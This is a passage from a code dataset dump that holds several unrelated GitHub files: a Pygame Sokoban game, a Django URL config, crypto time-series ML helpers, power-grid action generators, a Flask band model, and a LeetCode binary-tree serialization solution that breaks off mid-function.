pygame.display.set_icon(personaje)\r\n pygame.display.set_caption(\"Sokoban\")\r\n\r\n # Imagenes de elementos del juego transformadas a deternida escala\r\n bloque = pygame.transform.scale(bloque, (50, 50))\r\n personaje = pygame.transform.scale(personaje, (50, 50))\r\n # personaje =pygame.Surface((50,50))\r\n # personaje = personaje.get_rect()\r\n bloque_Mov = pygame.transform.scale(bloque_Mov, (50, 50))\r\n Diamante = pygame.transform.scale(Diamante, (50, 50))\r\n # -----------------------------------------------------\r\n\r\n # VARIABLES\r\n # -------------------------------------------------\r\n # Definimos las coordenadas iniciales del personaje\r\n #Ya no es necesario, ya que se creo una funcion para ello\r\n # x = 465\r\n # y = 125\r\n # Velocidad de personaje\r\n x_speed = 0\r\n y_speed = 0\r\n # -------------------------------------------------\r\n\r\n # FUNCIONES\r\n # ------------------------------------------------------\r\n # Funcion de mapa de juego-CORRECTO\r\n def mapaJuego():\r\n for x in range(0, 8): # x:columna\r\n for y in range(0, 8): # y:fila\r\n if tablero[y][x] == 0: # tablero[fila][columna]\r\n x_1 = 165+60*x\r\n y_1 = 65+60*y\r\n screen.blit(bloque, [x_1, y_1, 50, 50])\r\n\r\n # Función para los bloques movibles\r\n\r\n\r\n def bloqueMovible():\r\n for x in range(0, 8): # x:columna\r\n for y in range(0, 8): # y:fila\r\n if tablero[y][x] == 2: # tablero[fila][columna]\r\n x_1 = 165+60*x\r\n y_1 = 65+60*y\r\n screen.blit(bloque_Mov, [x_1, y_1, 50, 50])\r\n # Función para jugador\r\n\r\n\r\n def jugadorMovible():\r\n for x in range(0, 8): # x:columna\r\n for y in range(0, 8): # y:fila\r\n if tablero[y][x] == 6: # tablero[fila][columna]\r\n x_1 = 165+60*x\r\n y_1 = 65+60*y\r\n screen.blit(personaje, [x_1, y_1, 50, 50])\r\n\r\n \r\n #Función para posición inicial del jugador\r\n\r\n def posicionJugadorInicio():\r\n for x in range(0,8): #x:columna\r\n for y in range(0,8): #y:fila\r\n if tablero[y][x]==6: #tablero[fila][columna]\r\n valory=y\r\n valorx=x\r\n return valorx,valory\r\n\r\n\r\n\r\n\r\n\r\n # Función para los diamantes\r\n def diamante():\r\n for x in range(0, 8): # x:columna\r\n for y in range(0, 8): # y:fila\r\n if tablero[y][x] == 5: # tablero[fila][columna]\r\n x_1 = 165+60*x\r\n y_1 = 65+60*y\r\n screen.blit(Diamante, [x_1, y_1, 50, 50])\r\n \r\n #Funciones de sonidos\r\n \r\n def sonidoChoqueLadrillo():\r\n sonidoChoque=pygame.mixer.Sound(\"Musica/SaltosoMovi.mpeg\")\r\n sonidoChoque.play()\r\n\r\n def musicaVictoriaJuego():\r\n num=0\r\n for x in range(0,8): #x:columna\r\n for y in range(0,8): #y:fila\r\n if tablero[y][x]!=5: #tablero[fila][columna]\r\n num=num+1\r\n if num==64:\r\n musicaVictoria=pygame.mixer.Sound(\"Musica/Puntoextra.mpeg\")\r\n musicaVictoria.play(-1)\r\n sonidoFondo.stop()\r\n\r\n# Definiendo valores iniciales del jugador: \r\n#x , y = jugadorMovible() #Aplicando códigos [2]\r\n x , y = posicionJugadorInicio()\r\n\r\n\r\n # ------------------------------------------------------\r\n # REALIZA JUEGO-BULCE INFINITO\r\n while True:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n sys.exit()\r\n # Evento teclado\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_LEFT:\r\n x_speed = -1\r\n\r\n if event.key == pygame.K_RIGHT:\r\n x_speed = 1\r\n\r\n if event.key == pygame.K_UP:\r\n y_speed = -1\r\n\r\n if event.key == pygame.K_DOWN:\r\n y_speed = 1\r\n\r\n if event.type == pygame.KEYUP:\r\n if event.key == pygame.K_LEFT:\r\n x_speed = 0\r\n\r\n if event.key == pygame.K_RIGHT:\r\n x_speed = 0\r\n\r\n if event.key == pygame.K_UP:\r\n y_speed = 0\r\n\r\n if event.key == pygame.K_DOWN:\r\n y_speed = 0\r\n\r\n # Color de fondo\r\n screen.blit(background, [-10, -10])\r\n \r\n #etiqueta contador\r\n screen.blit(info,(5,5))\r\n segundos =int(pygame.time.get_ticks()/1000)\r\n segundos = str(segundos)\r\n contador = fuente1.render(segundos,0,GREEN)\r\n screen.blit(contador,(300,5))\r\n mapaJuego()\r\n # Para mover personaje,cajas\r\n x += x_speed\r\n y += y_speed\r\n if x_speed == -1: # Izquierda\r\n if tablero[y][x] != 0:\r\n if tablero[y][x] == 1 or tablero[y][x] == 5:\r\n tablero[y][x] = 6\r\n tablero[y][x+1] = 1\r\n elif tablero[y][x] == 2: # Para mover bloque(Estamos en 2)\r\n if tablero[y][x-1] != 0:\r\n if tablero[y][x-1] != 2:\r\n tablero[y][x-1] = 2\r\n tablero[y][x] = 6\r\n tablero[y][x+1] = 1\r\n else: # Caso,cuando se chocan 2 bloques movibles\r\n tablero[y][x] = 2\r\n tablero[y][x+1] = 6\r\n tablero[y][x-1] = 2\r\n x = x+1\r\n sonidoChoqueLadrillo()\r\n\r\n else:\r\n tablero[y][x] = 2\r\n tablero[y][x+1] = 6\r\n x = x+1\r\n sonidoChoqueLadrillo()\r\n # O tambien podemos colocar:\r\n # x -= x_speed\r\n # y -= y_speed\r\n else:\r\n x -= x_speed\r\n y -= y_speed\r\n sonidoChoqueLadrillo()\r\n\r\n elif y_speed == 1: # Abajo\r\n if tablero[y][x] != 0:\r\n \r\n if tablero[y][x] == 1 or tablero[y][x] == 5:\r\n tablero[y][x] = 6\r\n tablero[y-1][x] = 1\r\n elif tablero[y][x] == 2: # Para mover bloque(Estamos en 2)\r\n if tablero[y+1][x] != 0:\r\n if tablero[y+1][x] != 2:\r\n tablero[y+1][x] = 2\r\n tablero[y][x] = 6\r\n tablero[y-1][x] = 1\r\n else: # Caso,cuando se chocan 2 bloques movibles\r\n tablero[y][x] = 2\r\n tablero[y-1][x] = 6\r\n tablero[y+1][x] = 2\r\n y = y-1\r\n sonidoChoqueLadrillo()\r\n\r\n else:\r\n tablero[y][x] = 2\r\n tablero[y-1][x] = 6\r\n y = y-1\r\n sonidoChoqueLadrillo()\r\n # O tambien podemos colocar:\r\n # x -= x_speed\r\n # y -= y_speed\r\n else:\r\n x -= x_speed\r\n y -= y_speed\r\n sonidoChoqueLadrillo()\r\n\r\n elif y_speed == -1: # Arriba\r\n if tablero[y][x] != 0:\r\n \r\n if tablero[y][x] == 1 or tablero[y][x] == 5:\r\n tablero[y][x] = 6\r\n tablero[y+1][x] = 1\r\n elif tablero[y][x] == 2: # Para mover bloque(Estamos en 2)\r\n if tablero[y-1][x] != 0:\r\n if tablero[y-1][x] != 2:\r\n tablero[y-1][x] = 2\r\n tablero[y][x] = 6\r\n tablero[y+1][x] = 1\r\n else: # Caso,cuando se chocan 2 bloques movibles\r\n tablero[y][x] = 2\r\n tablero[y+1][x] = 6\r\n tablero[y-1][x] = 2\r\n y = y+1\r\n sonidoChoqueLadrillo()\r\n\r\n else:\r\n tablero[y][x] = 2\r\n tablero[y+1][x] = 6\r\n y = y+1\r\n sonidoChoqueLadrillo()\r\n # O tambien podemos colocar:\r\n # x -= x_speed\r\n # y -= y_speed\r\n else:\r\n x -= x_speed\r\n y -= y_speed\r\n sonidoChoqueLadrillo()\r\n\r\n elif x_speed == 1: # Derecha\r\n if tablero[y][x] != 0:\r\n # Para mover por 1y5(Los diamantes)\r\n if tablero[y][x] == 1 or tablero[y][x] == 5:\r\n tablero[y][x] = 6\r\n tablero[y][x-1] = 1\r\n elif tablero[y][x] == 2: # Para mover bloque(Estamos en 2)\r\n if tablero[y][x+1] != 0:\r\n if tablero[y][x+1] != 2:\r\n tablero[y][x+1] = 2\r\n tablero[y][x] = 6\r\n tablero[y][x-1] = 1\r\n else: # Caso,cuando se chocan 2 bloques movibles\r\n tablero[y][x] = 2\r\n tablero[y][x-1] = 6\r\n tablero[y][x+1] = 2\r\n x = x-1\r\n sonidoChoqueLadrillo()\r\n else:\r\n tablero[y][x] = 2\r\n tablero[y][x-1] = 6\r\n x = x-1\r\n sonidoChoqueLadrillo()\r\n # O tambien podemos colocar:\r\n # x -= x_speed\r\n # y -= y_speed\r\n else:\r\n x -= x_speed\r\n y -= y_speed\r\n sonidoChoqueLadrillo()\r\n # Para monitoriar juego:\r\n print(tablero)\r\n print(x, y)\r\n # Colocando sonido, cuando el personaje choque en el muro\r\n # pygame.mixer.music.load(\"Música y Sonido/SaltosoMovi.mpeg\")\r\n # pygame.mixer.music.play()\r\n\r\n # mapaJuego() #Llamamos función del mapa\r\n # Jugador Movible\r\n jugadorMovible()\r\n # Bloques movibles\r\n bloqueMovible()\r\n\r\n # Diamantes\r\n diamante()\r\n # Actualizar pantalla\r\n pygame.display.flip()\r\n\r\n # Para la rapidez de movilidad del jugador\r\n clock.tick(6) # Con valor 6, funciona bien.Probar con otros valores\r\n\r\n# ==================================\r\n\r\ndef draw_text(text, font, text_col, x, y):\r\n img = font.render(text, True, text_col)\r\n pantalla.blit(img, (x, y))\r\n\r\n# Cargamos las imagenes de los botones\r\nstart_img = pygame.image.load('Imagenes/start_btn.png').convert_alpha()\r\nexit_img = pygame.image.load('Imagenes/exit_btn.png').convert_alpha()\r\n\r\n# Intanciamos los botones\r\nstart_button = button.Button(180, 300, start_img, 0.7)\r\nexit_button = button.Button(450, 300, exit_img, 0.7)\r\n\r\n# Bucle del juego\r\nrun = True\r\nwhile run:\r\n\r\n pantalla.fill((202, 228, 241))\r\n TEXT_COL = (255, 255, 255)\r\n font = pygame.font.SysFont(\"arialblack\", 40)\r\n font1 = pygame.font.SysFont(\"arialblack\", 30)\r\n draw_text(\"SOKOBAN\", font, TEXT_COL, 300, 80)\r\n draw_text(\"PRESIONE 'START' PARA JUGAR Y\",font1,TEXT_COL,140,150)\r\n draw_text(\"PRESIONE 'EXIT' PARA SALIR \",font1,TEXT_COL,180,200)\r\n \r\n if start_button.draw(pantalla):\r\n print('START')\r\n sokoban()\r\n if exit_button.draw(pantalla):\r\n print('EXIT')\r\n run = False\r\n pygame.display.flip()\r\n # Controlador de eventos\r\n \r\n for event in pygame.event.get():\r\n # quit game\r\n if event.type == pygame.QUIT:\r\n run = False\r\n pygame.quit()\r\n \r\n \r\n \r\n\r\n\r\n","repo_name":"HaroldZQ/juegoSoko","sub_path":"Juegos.py","file_name":"Juegos.py","file_ext":"py","file_size_in_byte":14604,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"23208030701","text":"\"\"\" explorer URL Configuration \"\"\"\n\nfrom django.contrib import admin\nfrom django.urls import path, include\n\nurlpatterns = [\n path('api/', include('core.urls', namespace='core')),\n path('api/downloads/', include('downloads.urls', namespace='application')),\n path('admin/', admin.site.urls),\n]\n","repo_name":"mosaicnetworks/monet-explorer","sub_path":"server/src/explorer/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"4728960025","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nimport math\n\n\ndef plot_simple_timeseries_data(df_column, y_label, title):\n fig = plt.figure()\n fig.set_figheight(8)\n fig.set_figwidth(22)\n # plotting the training and validation loss\n timesteps = range(1, len(df_column) + 1)\n plt.plot(timesteps, df_column, '-,', label=y_label)\n plt.title(title)\n plt.xlabel('sample / time')\n plt.ylabel(y_label)\n plt.legend()\n plt.tight_layout(pad=4.0)\n plt.show()\n\n\ndef plot_simple_loss(history, title):\n fig = plt.figure()\n fig.set_figheight(5)\n fig.set_figwidth(11)\n\n # plotting the training and validation loss\n loss_values = history.history['loss']\n val_loss_values = history.history['val_loss']\n\n epochs = range(1, len(loss_values) + 1)\n plt.plot(epochs, loss_values, 'bo', label='Training Loss')\n plt.plot(epochs, val_loss_values, 'b', label='Validation Loss')\n plt.title('Training and Validation Loss: ' + title)\n plt.xlabel('Epochs')\n plt.ylabel('Loss')\n plt.legend()\n\n plt.tight_layout(pad=4.0)\n plt.show()\n\n\ndef normalise_data(dataframe, num_training, num_validation):\n test_samples = len(dataframe) - (num_training + num_validation)\n\n # setting values to end sample for each\n num_validation += num_training\n test_samples += num_validation\n print(\n f\"final sample - training: {num_training}th, validation: {num_validation}th, test: {test_samples}th\")\n\n # normalising data\n mean = dataframe[:num_training].mean(axis=0)\n dataframe -= mean\n std = dataframe[:num_training].std(axis=0)\n dataframe /= std\n\n return dataframe\n\n\ndef normalisation_values(dataframe, num_training, num_validation):\n test_samples = len(dataframe) - (num_training + num_validation)\n\n # setting values to end sample for each\n num_validation += num_training\n test_samples += num_validation\n\n mean = dataframe[:num_training].mean(axis=0)\n std = dataframe[:num_training].std(axis=0)\n\n return mean, std\n\n\ndef split_dataframe(dataframe, num_training, num_validation):\n train_data = dataframe[:num_training]\n val_data = dataframe[num_training:(num_training + num_validation)]\n test_data = dataframe[(num_training + num_validation):]\n return train_data, val_data, test_data\n\n\ndef create_datasets(dataframe, target_column_name, num_training, num_validation, lookback, step, delay, batch_size):\n # adapted from https://keras.io/examples/timeseries/timeseries_weather_forecasting/\n target_column_num = dataframe.columns.get_loc(target_column_name)\n\n train_data, val_data, test_data = split_dataframe(\n dataframe, num_training, num_validation)\n # Setting up the training data\n start = lookback + delay\n end = start + num_training\n\n x_train = pd.DataFrame(train_data).to_numpy()\n y_train = dataframe.iloc[start:end, target_column_num]\n y_train = pd.DataFrame(y_train).to_numpy()\n\n # setting up the validation data\n start = end\n end = start + num_validation\n\n x_val = pd.DataFrame(val_data).to_numpy()\n y_val = dataframe.iloc[start:end, target_column_num]\n y_val = pd.DataFrame(y_val).to_numpy()\n\n # setting up test data\n start = end\n end = len(dataframe)\n\n x_test = pd.DataFrame(test_data).to_numpy()\n x_test = x_test[:-(lookback + delay)]\n y_test = dataframe.iloc[start:end, target_column_num]\n y_test = pd.DataFrame(y_test).to_numpy()\n\n # setting the sequence length - relevant when\n sequence_length = int(lookback / step) # in case change the step later\n\n train_dataset = tf.keras.preprocessing.timeseries_dataset_from_array(\n x_train,\n y_train,\n sequence_length=sequence_length,\n sampling_rate=step,\n batch_size=batch_size,\n )\n\n val_dataset = tf.keras.preprocessing.timeseries_dataset_from_array(\n x_val,\n y_val,\n sequence_length=sequence_length,\n sampling_rate=step,\n batch_size=batch_size,\n )\n\n test_dataset = tf.keras.preprocessing.timeseries_dataset_from_array(\n x_test,\n y_test,\n sequence_length=sequence_length,\n sampling_rate=step,\n batch_size=batch_size,\n )\n\n return train_dataset, val_dataset, test_dataset\n\n\ndef get_dataset_shape(train_dataset):\n for batch in train_dataset.take(1):\n inputs, targets = batch\n print(\"Input shape:\", inputs.numpy().shape)\n print(\"Target shape:\", targets.numpy().shape)\n return inputs.shape[1], inputs.shape[2]\n\n\ndef plot_timeseries_features(dataframe, feature_names, time_column, feature_titles=False):\n # adapted from https://keras.io/examples/timeseries/timeseries_weather_forecasting/\n time_data = dataframe[time_column]\n fig = plt.figure(figsize=(12, 20))\n columns = 2\n rows = math.ceil(len(feature_names)/2)\n\n # reference https://stackoverflow.com/questions/53521396/how-to-implement-automatic-color-change-in-matplotlib-with-subplots\n colours = plt.rcParams[\"axes.prop_cycle\"]()\n\n for i in range(0, len(feature_names)):\n c = next(colours)[\"color\"]\n ax = fig.add_subplot(rows, columns, i+1)\n col_data = dataframe[feature_names[i]]\n col_data.index = time_data\n col_data.head()\n if feature_titles:\n ax = col_data.plot(c=c, rot=25, title=feature_titles[i])\n else:\n ax = col_data.plot(c=c, rot=25)\n ax.legend([feature_names[i]])\n plt.tight_layout()\n plt.show()\n\n\ndef print_largest_each_column(dataframe, column_names, number_largest):\n print('-' * 80)\n for i in range(0, len(column_names)):\n top = dataframe[column_names[i]].nlargest(number_largest)\n print(column_names[i])\n print(top)\n print('-' * 80)\n\n\ndef rows_with_nan_values(dataframe):\n # https://www.kite.com/python/answers/how-to-find-the-indices-of-rows-in-a-pandas-dataframe-containing-nan-values-in-python\n rows_with_nan = []\n for index, row in dataframe.iterrows():\n nan_indexes = row.isnull()\n if nan_indexes.any():\n rows_with_nan.append(index)\n return rows_with_nan\n\n\ndef plot_heatmap(dataframe, coin_name, column_names):\n\n # Adapted from: https://keras.io/examples/timeseries/timeseries_weather_forecasting/\n cor = dataframe.corr()\n plt.figure(figsize=(10, 10))\n plt.matshow(cor, fignum=1)\n plt.xticks(np.arange(len(column_names)),\n column_names, rotation=90, fontsize=16)\n plt.gca().xaxis.tick_bottom()\n plt.yticks(np.arange(len(column_names)), column_names, fontsize=16)\n cb = plt.colorbar()\n plt.title(coin_name + \" Feature Correlation Heatmap\", fontsize=20)\n\n plt.show()\n\n\ndef pred_mean_absolute_percentage_error(targets, predictions):\n absolute_errors = np.abs(targets - predictions)\n return np.mean((absolute_errors/targets))\n\n\ndef pred_root_mean_squared_error(targets, predictions):\n absolute_errors = np.abs(targets - predictions)\n return np.sqrt(np.mean(absolute_errors**2))\n\n\ndef pred_mean_squared_error(targets, predictions):\n absolute_errors = np.abs(targets - predictions)\n return np.mean(absolute_errors**2)\n\n\ndef lowest_val_loss_and_epoch(history):\n lowest_val_loss = -1\n lowest_epoch = 0\n for i in range(0, len(history.history['val_loss'])):\n epoch = i+1\n val_loss = history.history['val_loss'][i]\n if lowest_val_loss == -1 or val_loss < lowest_val_loss:\n lowest_val_loss = val_loss\n lowest_epoch = epoch\n return lowest_val_loss, lowest_epoch\n","repo_name":"jrobi001/Final-Project-Cryptocurrency-ML","sub_path":"ml_notebooks/Price_forcasting/helper_functions.py","file_name":"helper_functions.py","file_ext":"py","file_size_in_byte":7543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"13624749771","text":"import numpy as np\r\nfrom config import Config\r\nfrom copy import deepcopy\r\n\r\ndef gen_topo_actions(SubNum):\r\n path = \"actions/\"+Config.env_name+\"/Sub\"\r\n topo_actions = np.load(path + \"0.npy\")\r\n for i in range(1, SubNum):\r\n temp = np.load(path + str(i) + \".npy\")\r\n topo_actions = np.vstack([topo_actions, temp])\r\n return topo_actions\r\n\r\ndef saved_actions_generator(grid_info):\r\n\r\n LineNum = grid_info.LineNum\r\n GenNum = grid_info.GenNum\r\n LoadNum = grid_info.LoadNum\r\n SubNum = grid_info.SubNum\r\n ElementNum = grid_info.ElementNum\r\n gen_max_ramp_up = np.array(grid_info.GenRampUp)\r\n gen_redisID = np.where(gen_max_ramp_up > 0)[0]\r\n valid_gen_num = len(gen_redisID)\r\n total_col = LineNum * 2 + ElementNum * 2 + GenNum\r\n # saved_actions = np.zeros((LineNum*5+valid_gen_num*8+1,total_col))#row refs to num_action, column refers to size_action_space\r\n\r\n lines_actions = np.zeros((LineNum*5, total_col))\r\n topo_actions = gen_topo_actions(SubNum)\r\n gen_actions = np.zeros((valid_gen_num*8, total_col))\r\n do_nothing_action = np.zeros((1, total_col))\r\n\r\n #first build line set action vector\r\n LineV = np.array([-1, 11, 12, 21, 22],dtype=float)\r\n #LineV = LineV[:,np.newaxis]\r\n for i in range(LineNum):\r\n lines_actions[i*5:(i+1)*5, i] = LineV\r\n\r\n #num2discrete = 5\r\n discretefactor = np.array([-0.95, -0.75, -0.5, -0.25, 0.25, 0.5, 0.75, 0.95], dtype =float)#the action_num of each gen is 2*(num2discrete)\r\n\r\n for i in range(len(gen_redisID)):\r\n gen_actions[(i*8) : ((i+1)*8), 2*LineNum+2*ElementNum+gen_redisID[i]] = \\\r\n gen_max_ramp_up[gen_redisID[i]]*discretefactor#NB only when ramp_up = ramo_down this equation can be applied\r\n\r\n # action_mat = np.vstack([lines_actions, topo_actions, gen_actions, do_nothing_action])\r\n action_mat = np.vstack([topo_actions, do_nothing_action])\r\n\r\n return action_mat\r\n\r\nclass gen_actions_generator():\r\n # 仅生成发电机set动作,连接同一子站的多台发电机采取统一动作\r\n\r\n def __init__(self, grid_info):\r\n self.GenNum = grid_info.GenNum\r\n self.GenRampUp = grid_info.GenRampUp\r\n self.GenRampDown = grid_info.GenRampDown\r\n self.GenRedispable = grid_info.GenRedispable\r\n self.Gen2Sub = grid_info.Gen2Sub\r\n self.gen_p_max = grid_info.gen_p_max\r\n self.gen_p_min = grid_info.gen_p_min\r\n\r\n self.adjust_num, self.adjust_id, self.adjust_mat, self.del_id= self.create_adjust_para()\r\n self.genid = list()\r\n for i in range(self.GenNum):\r\n self.genid.append(i)\r\n for i in sorted(self.del_id, reverse=True):\r\n del self.genid[i]\r\n\r\n def create_adjust_para(self):\r\n del_id = list()\r\n adjust_mat = np.array([int(x) for x in self.GenRedispable])\r\n for i in range(len(adjust_mat)):\r\n if adjust_mat[i] == 0:\r\n adjust_mat[i] = -1\r\n del_id.append(i)\r\n adjust_id = list()\r\n for i in range(len(adjust_mat)):\r\n if adjust_mat[i] == 1:\r\n adjust_id.append(self.Gen2Sub[i])\r\n for i in range(len(adjust_mat)):\r\n if adjust_mat[i] == 1:\r\n adjust_mat[i] = self.Gen2Sub[i]\r\n else:\r\n adjust_mat[i] = -100\r\n adjust_id = list(set(adjust_id))\r\n adjust_num = len(adjust_id)\r\n return adjust_num, adjust_id, adjust_mat, del_id\r\n\r\n def convert_act(self, a_hat, action_space, gen_p):\r\n assert len(a_hat[0]) == self.adjust_num\r\n overflow = 0\r\n act = 0.*np.zeros_like(self.adjust_mat)\r\n # 根据SAC输出正负,区分发电机正反向爬坡上限\r\n for i in range(self.adjust_num):\r\n idx = np.where(self.adjust_mat == self.adjust_id[i])[0].tolist()\r\n # TODO (act = a_hat[i]*GenRampUp/Down[] × k),k>1,防止sac输出边界值导致梯度消失,采取np.clip()裁剪输出\r\n if a_hat[0][i] > 0:\r\n act[idx] = a_hat[0][i]*self.GenRampUp[idx] # 输出为正,RampUp\r\n else:\r\n act[idx] = a_hat[0][i]*self.GenRampDown[idx] # 输出为负,RampDown\r\n # 检验发电机出力是否到达上边界/下边界\r\n pre_gen_p = np.array(gen_p) + act\r\n if any(pre_gen_p < self.gen_p_min):\r\n idx = pre_gen_p < self.gen_p_min\r\n act[idx] = self.gen_p_min[idx] - gen_p[idx]\r\n pre_gen_p = np.array(gen_p) + act\r\n overflow = -1 # 功率溢出标志,-1--下界溢出,1--上界溢出,0--无溢出\r\n\r\n if any(pre_gen_p > self.gen_p_max):\r\n idx = pre_gen_p > self.gen_p_max\r\n act[idx] = self.gen_p_max[idx] - gen_p[idx]\r\n pre_gen_p = np.array(gen_p) + act\r\n overflow = 1\r\n\r\n # TODO 发电机功率变化和应为0\r\n p_ramp = act.tolist()\r\n for i in sorted(self.del_id, reverse=True):\r\n del p_ramp[i]\r\n assert len(self.genid) == len(p_ramp)\r\n act_value = [(idn, dp) for idn, dp in zip(self.genid, p_ramp)]\r\n action = action_space({\"redispatch\": act_value}) # 生成操作字典\r\n\r\n return action, overflow","repo_name":"IndigoSix/DDDQN4L2RPN","sub_path":"sac_action_embed_demo/action_space_gen.py","file_name":"action_space_gen.py","file_ext":"py","file_size_in_byte":5211,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"5894095873","text":"from flask_app.config.mysqlconnection import connectToMySQL\nfrom flask_app.models import model_user\nfrom flask_app import DATABASE\n\nclass Band:\n def __init__(self, data):\n self.id = data['id']\n self.name = data['name']\n self.genre = data['genre']\n self.city = data['city']\n self.created_at = data['created_at']\n self.updated_at = data['updated_at']\n self.user_id = data['user_id']\n\n @classmethod\n def create(cls,data):\n query = \"\"\"INSERT INTO bands(name, genre, city, user_id) VALUES(%(name)s, %(genre)s, %(city)s, %(user_id)s);\"\"\"\n results = connectToMySQL(DATABASE).query_db(query,data)\n return results\n \n @classmethod\n def get_bands(cls):\n query = \"SELECT * FROM bands JOIN users ON users.id = bands.user_id;\"\n results = connectToMySQL(DATABASE).query_db(query)\n all_bands = []\n for band in results:\n band_instance = cls(band) \n user_data = {\n **band,\n 'id': band['users.id'],\n 'created_at': band['users.created_at'],\n 'updated_at': band['users.updated_at']\n }\n user_instance = model_user.User(user_data)\n band_instance.user = user_instance\n all_bands.append(band_instance)\n return all_bands\n \n @classmethod\n def get_user_bands(cls,data):\n query = \"SELECT * FROM bands WHERE user_id = %(id)s\"\n results = connectToMySQL(DATABASE).query_db(query,data)\n return results\n \n @classmethod\n def get_one_band(cls,id):\n query = \"SELECT * FROM bands JOIN users ON users.id = bands.user_id Where bands.id = %(id)s\"\n results = connectToMySQL(DATABASE).query_db(query,{'id': id})\n one_band = cls(results[0])\n for band in results:\n user_data = {\n **band,\n 'id': band['users.id'],\n 'created_at': band['users.created_at'],\n 'updated_at': band['users.updated_at']\n }\n user_instance = model_user.User(user_data)\n one_band.user = user_instance\n return one_band\n \n @classmethod\n def update(cls,data):\n query = \"\"\"UPDATE bands SET name=%(name)s,genre=%(genre)s,city=%(city)s WHERE id = %(id)s;\"\"\"\n results = connectToMySQL(DATABASE).query_db(query,data)\n return results\n \n @classmethod\n def delete(cls,data):\n query = \"DELETE FROM bands WHERE id = %(id)s;\"\n results = connectToMySQL(DATABASE).query_db(query,data)\n return results\n \n @staticmethod\n def required_fields(data):\n is_valid = True\n if len(data['name']) < 2: \n is_valid = False\n if len(data['genre']) < 2:\n is_valid = False\n return is_valid","repo_name":"JDowler25/CodingDojo","sub_path":"Code/Python/exam/flask_app/models/model_band.py","file_name":"model_band.py","file_ext":"py","file_size_in_byte":2829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"16127415390","text":"\"\"\"\nhttps://leetcode.com/problems/serialize-and-deserialize-binary-tree/\n297. Serialize and Deserialize Binary Tree\nHard\n-------------------\nSerialization is the process of converting a data structure or object into a sequence of bits so that it can be stored in a file or memory buffer, or transmitted across a network connection link to be reconstructed later in the same or another computer environment.\nDesign an algorithm to serialize and deserialize a binary tree. There is no restriction on how your serialization/deserialization algorithm should work. You just need to ensure that a binary tree can be serialized to a string and this string can be deserialized to the original tree structure.\n\nExample:\nYou may serialize the following tree:\n 1\n / \\\n 2 3\n / \\\n 4 5\nas \"[1,2,3,null,null,4,5]\"\n\nClarification: The above format is the same as how LeetCode serializes a binary tree. You do not necessarily need to follow this format, so please be creative and come up with different approaches yourself.\nNote: Do not use class member/global/static variables to store states. Your serialize and deserialize algorithms should be stateless.\n\"\"\"\n\n\n# Definition for a binary tree node.\nclass TreeNode(object):\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Codec:\n def serialize(self, root):\n return self.serialize_not_recursive(root)\n\n def deserialize(self, data):\n return self.deserialize_not_recursive(data)\n\n\n def serialize_2(self, root):\n return self.serialize_recursive(root)\n\n def deserialize_2(self, data):\n return self.deserialize_recursive(data)\n\n def serialize_not_recursive(self, root):\n \"\"\"Encodes a tree to a single string.\n 非递归办法\n 采用leetcode的序列化格式\n 1.使用广度优先遍历bfs把树转化为数组\n 2.遍历数组,将数组转化为字符串\n\n :type root: TreeNode\n :rtype: str\n \"\"\"\n if root is None:\n return \"\"\n ret = []\n root2List = [root]\n curIndex = 0\n while curIndex < len(root2List):\n if root2List[curIndex]:\n root2List.append(root2List[curIndex].left)\n root2List.append(root2List[curIndex].right)\n curIndex += 1\n\n for i in range(len(root2List)):\n if root2List[i]:\n ret.append(str(root2List[i].val))\n # 防止1,2,3,n,n,4,5,n,n,n,n这种情况的发生\n lastNormalIndex = i\n else:\n ret.append(\"null\")\n\n return \",\".join(ret[0:lastNormalIndex + 1])\n\n def deserialize_not_recursive(self, data):\n \"\"\"Decodes your encoded data to tree.\n 非递归办法\n 采用逆BFS的思路\n 1.使用队列和游标记录已处理和未处理的node\n 2.由于采用的leetcode格式,需要考虑父节点是None时的特殊情况\n :type data: str\n :rtype: TreeNode\n \"\"\"\n if data is None or len(data) == 0:\n return None\n data2List = data.split(\",\")\n ret = TreeNode(data2List[0])\n list2Tree = [ret] # 保存node为list,需要记录遍历过程\n parentIndex = 0\n childIndex = 1\n while childIndex < len(data2List):\n # 跳过null节点\n while parentIndex < len(data2List) and list2Tree[parentIndex] is None:\n parentIndex += 1\n\n # 处理left子节点\n if data2List[childIndex] == 'null':\n node = None\n else:\n node = TreeNode(data2List[childIndex])\n list2Tree.append(node)\n list2Tree[parentIndex].left = node\n childIndex += 1\n\n # 处理right子节点\n if childIndex < len(data2List):\n if data2List[childIndex] == 'null':\n node = None\n else:\n node = TreeNode(data2List[childIndex])\n list2Tree.append(node)\n list2Tree[parentIndex].right = node\n childIndex += 1\n\n parentIndex += 1\n return ret\n\n def serialize_recursive(self, root):\n \"\"\"\n 递归办法,采用dfs思路\n :param root:\n :return:\n \"\"\"\n if root is None:\n return \"\"\n\n def do_serialize_recursive(node):\n if node:\n ret.append(str(node.val))\n do_serialize_recursive(node.left)\n do_serialize_recursive(node.right)\n else:\n ret.append(\"null\")\n\n ret = []\n do_serialize_recursive(root)\n return \",\".join(ret)\n\n def deserialize_recursive(self, data):\n \"\"\"\n 递归办法,采用dfs思路\n :param data:\n :return:\n \"\"\"\n if data is None or len(data) == 0:\n return None\n\n valList = data.split(\",\")\n\n def do_deserialize_recursive(valList):\n if valList is None or len(valList) == 0:\n return None\n if valList[0] == \"null\":\n valList.pop(0)\n return None\n else:\n n = TreeNode(valList[0])\n valList.pop(0)\n n.left = do_deserialize_recursive(valList)\n n.right = do_deserialize_recursive(valList)\n return n\n\n return do_deserialize_recursive(valList)\n\n\n# Your Codec object will be instantiated and called as such:\n# codec = Codec()\n# codec.deserialize(codec.serialize(root))\n\ndef main():\n print(\"===========思路1=============\")\n rawStr = \"1,2,3,null,null,4,5\"\n print(\"rawStr=\", rawStr)\n coded = Codec()\n root = coded.deserialize(rawStr)\n s = coded.serialize(root)\n 